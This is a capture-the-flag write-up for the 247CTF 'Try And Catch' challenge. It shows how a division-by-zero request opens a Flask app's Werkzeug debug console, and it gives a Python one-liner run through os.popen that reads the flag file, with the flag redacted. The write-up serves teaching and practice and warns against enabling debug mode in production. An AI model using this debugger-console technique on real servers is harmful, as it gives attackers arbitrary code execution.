247CTF - Try And Catch

Posted on In Views: Word count in article: 180 Reading time ≈ 1 mins.

Find a bug and trigger an exception in a Flask web application to access the debug console.

Vulnerability

Flask debug mode with DebuggedApplication and evalex=True allows interactive code execution through the debugger console. The calculator endpoint accepts division operations and lacks proper exception handling.

Solution

Step 1: Trigger an Exception

Send a division by zero request to the calculator:

1
https://9894a61910fb83f2.247ctf.com/calculator?number_1=1&number_2=0&operation=%2f

Step 2: Execute Arbitrary Python

The following block is a Python-console transcript, including the >>> prompt and a redacted response; it is not a standalone Python script. The target debugger and flag read have not been rerun.

1
2
>>> __import__('os').popen('cat ./flag.txt').read()
'247CTF{<flag-redacted>}\n'

Key Insight

Never enable Flask debug mode in production. The Werkzeug debugger with evalex=True provides a complete interactive Python console, allowing arbitrary code execution with the web server's privileges.

The returned flag belongs to the launched service instance; no cross-instance invariance is established. Record the generation/retrieval method and use the current instance response instead of a fixed-answer spoiler.